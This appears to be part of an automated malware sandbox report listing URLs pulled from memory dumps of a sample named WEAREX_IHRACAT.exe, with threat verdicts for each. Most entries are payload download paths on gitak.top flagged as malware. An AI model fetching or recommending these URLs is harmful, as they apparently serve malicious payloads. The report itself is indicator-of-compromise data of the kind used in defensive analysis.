WEAREX_IHRACAT.exe, 00000002.00000003.6304603220.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6093234586.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4725430608.00000000028AA000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://gitak.top/dmAaHCQMI79.bin-~	WEAREX_IHRACAT.exe, 00000002.00000003.6093234586.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4515139164.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4305270974.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2302693054.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4620491652.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4094289646.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6620540975.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.5778014875.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3460424593.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3354740699.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6515406962.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2933587214.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6410278380.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3566476517.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3038962760.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4725765947.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.5988062623.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4199758222.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.5672784128.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3249592249.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6304603220.00000000028F8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://gitak.top/dmAaHCQMI79.bin/dmAaHCQMI79.binX	WEAREX_IHRACAT.exe, 00000002.00000003.3460424593.00000000028B0000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3565994921.00000000028B0000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3354740699.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4725430608.00000000028AA000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://gitak.top/dmAaHCQMI79.bino~	WEAREX_IHRACAT.exe, 00000002.00000003.1986769788.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2091965259.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2197210122.00000000028F8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://inference.location.live.net/inferenceservice/v21/Pox/GetLocationUsingFingerprinte1e71f6b-214	WEAREX_IHRACAT.exe, 00000002.00000001.1798696574.0000000000649000.00000020.00000001.01000000.00000006.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://gitak.top/dmAaHCQMI79.binA~	WEAREX_IHRACAT.exe, 00000002.00000003.2302693054.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3566476517.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3038962760.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3779599749.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3671604418.00000000028F8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://gitak.top/dmAaHCQMI79.binK~v	WEAREX_IHRACAT.exe, 00000002.00000003.6093234586.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4305270974.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4094289646.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6620540975.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.5778014875.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6515406962.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6410278380.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.5988062623.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4199758222.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.5672784128.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6304603220.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.5565166961.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6198947773.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000002.6653610966.00000000028F8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://gitak.top/dmAaHCQMI79.bin/dmAaHCQMI79.binD	WEAREX_IHRACAT.exe, 00000002.00000003.4620128373.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4725430608.00000000028AA000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://gitak.top/dmAaHCQMI79.binf	WEAREX_IHRACAT.exe, 00000002.00000003.4620128373.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4305061153.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6198947773.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.5565166961.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.5988062623.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.5777651201.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000002.6653532538.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4514950009.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2617874647.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.5672578365.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6620540975.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6515406962.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6410278380.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6304603220.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6093234586.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4725430608.00000000028AA000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://ocsp.quovadisoffshore.com0	WEAREX_IHRACAT.exe, 00000002.00000003.4620128373.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4305061153.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3460424593.00000000028B0000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6198947773.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3565994921.00000000028B0000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.5565166961.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2723003932.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2091965259.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4199758222.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2302487470.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2197210122.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3038762568.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3354740699.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2512754360.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2407654898.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3671604418.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.5988062623.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.1986769788.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.5777651201.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000002.6653532538.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3143833257.00000000028B2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://gitak.top/dmAaHCQMI79.bin9~	WEAREX_IHRACAT.exe, 00000002.00000003.2302693054.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3460424593.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3354740699.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2933587214.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3566476517.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3038962760.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2828520597.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2723257171.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.1986769788.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3249592249.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2091965259.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2512754360.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2407870559.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2197210122.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3143833257.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2618082877.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3671604418.00000000028F8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://gitak.top/dmAaHCQMI79.bin/M~	WEAREX_IHRACAT.exe, 00000002.00000003.6093234586.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4620491652.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.5778014875.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3460424593.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2933587214.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3566476517.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2828520597.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.5988062623.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.5672784128.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3249592249.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3779599749.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3143833257.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.5565166961.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3671604418.00000000028F8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://gitak.top/dmAaHCQMI79.bince	WEAREX_IHRACAT.exe, 00000002.00000002.6653324742.0000000002838000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://gitak.top/7~	WEAREX_IHRACAT.exe, 00000002.00000003.5778014875.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.5672784128.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2512754360.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.5565166961.00000000028F8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://gitak.top/dmAaHCQMI79.binq	WEAREX_IHRACAT.exe, 00000002.00000003.6198947773.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.5565166961.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.5988062623.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.5777651201.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000002.6653532538.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.5672578365.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6620540975.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6515406962.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6410278380.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6304603220.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6093234586.00000000028AA000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://gitak.top/A~	WEAREX_IHRACAT.exe, 00000002.00000003.4094289646.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4199758222.00000000028F8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://gitak.top/dmAaHCQMI79.binW~	WEAREX_IHRACAT.exe, 00000002.00000003.2302693054.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2407870559.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2197210122.00000000028F8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://gitak.top/dmAaHCQMI79.bin/7~	WEAREX_IHRACAT.exe, 00000002.00000003.6093234586.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4515139164.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4305270974.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4094289646.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6620540975.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3460424593.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3354740699.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6515406962.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2933587214.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3566476517.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3038962760.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4725765947.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2828520597.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2723257171.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.5988062623.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4199758222.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3249592249.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6304603220.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3779599749.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3143833257.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2618082877.00000000028F8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://gitak.top/dmAaHCQMI79.bin/dmAaHCQMI79.binz	WEAREX_IHRACAT.exe, 00000002.00000003.6093234586.00000000028AA000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://gitak.top/dmAaHCQMI79.binl	WEAREX_IHRACAT.exe, 00000002.00000003.4305061153.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6198947773.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2091965259.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4199758222.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2302487470.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2197210122.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3038762568.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2512754360.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2407654898.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.5988062623.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.5777651201.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000002.6653532538.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3143833257.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2617874647.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4094289646.00000000028B0000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6620540975.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2933587214.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6304603220.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6093234586.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4725430608.00000000028AA000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://gitak.top/	WEAREX_IHRACAT.exe, 00000002.00000003.2197210122.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3143833257.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3249244982.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2618082877.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.5565166961.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4514950009.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4094289646.00000000028B0000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6198947773.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6410278380.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3671604418.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4725430608.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000002.6653610966.00000000028F8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://gitak.top/M~	WEAREX_IHRACAT.exe, 00000002.00000003.4515139164.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3354740699.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3038962760.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2723257171.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2618082877.00000000028F8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://gitak.top/dmAaHCQMI79.binc~	WEAREX_IHRACAT.exe, 00000002.00000003.2302693054.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2933587214.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3038962760.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2828520597.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2091965259.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2407870559.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2197210122.00000000028F8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://gitak.top/dmAaHCQMI79.bin/e~	WEAREX_IHRACAT.exe, 00000002.00000003.6620540975.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6515406962.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6410278380.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000002.6653610966.00000000028F8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://nsis.sf.net/NSIS_ErrorError	WEAREX_IHRACAT.exe, Caterva.exe.2.dr	false	Avira URL Cloud: safe	unknown
https://gitak.top/dmAaHCQMI79.binMicrosoft	WEAREX_IHRACAT.exe, 00000002.00000003.4620128373.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4305061153.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3460424593.00000000028B0000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6198947773.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3565994921.00000000028B0000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.5565166961.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2723003932.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2091965259.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4199758222.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2302487470.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2197210122.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3038762568.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3354740699.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2512754360.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2407654898.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3671604418.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.5988062623.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.5777651201.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000002.6653532538.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3143833257.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3249244982.00000000028B2000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
